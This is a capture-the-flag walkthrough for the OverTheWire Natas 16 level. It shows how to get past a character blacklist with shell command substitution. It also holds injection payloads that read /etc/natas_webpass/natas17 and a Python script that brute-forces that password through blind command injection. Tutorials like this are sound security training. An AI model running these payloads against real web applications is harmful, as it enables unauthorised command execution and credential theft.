Natas 16 — Command injection with ZAP and Python

Miguel Sampaio da Veiga
Hacker Toolbelt
Published in
6 min readJun 25, 2019

Welcome to the latest article of the Natas series. When we log in we receive the following page:

Photo by Raul Cacho Oses on Unsplash

I’ve updated OWASP ZAP to version 2.8.0 which includes a browser HUD. Pretty cool! To easily enable the HUD launch the browser through ZAP using the right side buttons on the toolbar:

Back to our level.

Testing the input we find the level to be like natas 9, a command injection level. But this time the applications has been hardened and it filters some characters. We can take a look at the source code and find out which of these are:

if($key != “”) {
if(preg_match(‘/[;|&`\’”]/’,$key)) {
print “Input contains an illegal character!”;
} else {
passthru(“grep -i \”$key\” dictionary.txt”);
}
}

We’ll have to find a way of making an input that can either escape the ‘preg_match’ or using none of those chars.

After some digging about preg_match it seems it’s a no go. Let’s take a look at the grep. We cannot send come chars but linux has some tricks if we take a careful look.

If you haven’t done already so I recommend you to take a course in linux shell because the majority of servers running the Internet are linux.

Now, consider the case in which we don’t have access to the blacklist. How to determine the allowed characters? Well, ZAP can help us in this task. Let’s take a look.

First make a search for some word (I’ve searched ‘abacus’). Then make a search with an invalid char (; abacus):

Take note of the illegal character message. Now go to ZAP, to the history tab, right-click the ‘abacus’ request and select Fuzz:

Select the ‘abacus’ word and add it to fuzz locations. Then add the ASCII 95 Alphabet in the File Fuzzers in the payload:

Also, add a URL Encode Processor:

Now got to ‘Message Processors’ tab and add a new processor:

We’ve locate the place where ZAP is to insert characters in each new request and added a message processor to tell us which request has illegal characters. Press ‘Start Fuzzer’:

There are the illegal characters we found: “ ‘ & ; ` |

Now we know for sure those characters cannot be used. Fortunately Linux has more than one way for getting things done. Command substitution is one of those simple tricks we use to take advantage. You can read more about it here.

The best way to determine how to use command substitution is to try it in a terminal. Let’s do that, creating a mini lab called ‘natas16' to recreate the commands running behind the webapp:

$ mkdir natas16

$ cd natas16

We’ll need a file containing the password to replicate the server’s file (/etc/natas_webpass/natas17) which I’ll call password.txt with some random text

$ echo natas17password > natas17.txt

And a dictionary file ‘dictionary.txt’ with some content we can copy from the original file and paste into it:

$ nano dictionary.txt

The grep command searches multiple files, so we can try the following command:

$ grep -i a natas17.txt dictionary.txt

The lab returns a values. Unfortunately the web app returns nothing. So it’s time it use the command substitution:

$ grep -i $(grep -i a natas17.txt) dictionary.txt

And doing this returns nothing, because the inner command returns the password in natas17.txt (because it has an ‘a’) and then searches for the existence of that word in dictionary.txt (which is not present). Trying this with ‘b’ hangs the command and this is an interesting side-effect:

There is no ‘b’ in natas17.txt so it return nothing and the outer grep hangs. This means we can find which chars are used in natas17.txt and which are not.

Let’s try the same logic in the web app and look at several tries:

  1. $(grep a /etc/natas_webpass/natas17)
  2. $(grep b /etc/natas_webpass/natas17)

Request 1 gives a different response than request 2. What does it mean? If there is an ‘a’ in ‘/etc/natas_webpass/natas17’ the outer command gets executed, else it hangs and there is no response. We can determine which characters are in the password file but not where they are nor how many times they occur.

It’s time to pull regex from our toolbelt. ‘Grep’ can use regex and the ‘^’ can be used to determine if a given character is the first one:

$(grep ^a /etc/natas_webpass/natas17)

Let’s use a fuzzer in ZAP to test all chars. Input the line above the image in the input box. Then go to ZAP, right-click the request and select Fuzz:

Identify the fuzzer location (after the ^, encoded to %5E) and select the Base64 Alphabet payload. Execute.

‘/etc/natas_webpass/natas17' begins with a 8. We know the Natas levels have 32 characters, so we can create 32 different fuzzers like so:

The next char is ‘P’ (8P…)

Having determine a vector of attack, we can now automate the process using a programming language.

Why Python? Most Linux distributions come with Python, Ruby and Perl installed. Python and Ruby are easy to learn, have a large community and tho they loose in the speed department against other languages, they come on top in the easy to develop, test and deploy.

We manually tested against natas16, it’s now time to automate it:

import requests
from string import ascii_lowercase
from string import ascii_uppercase

chars = ascii_lowercase + ascii_uppercase + “0123456789”

pwd = “”
isDone = False

while not isDone:
for char in chars:
searchPattern = ‘^’ + pwd + char
r = requests.post(“http://natas16.natas.labs.overthewire.org/index.php", data={‘needle’: ‘$(grep ‘ + searchPattern + ‘ /etc/natas_webpass/natas17)abacus’}, auth=(‘natas16’,’WaIHEacj63wnNIBROHeqi3p9t0m5nhmh’))

if b”abacus” not in r.content:
pwd += char
print(‘Character “‘ + char + ‘“ found’)

break
else:
isDone = True

print (pwd)

--

--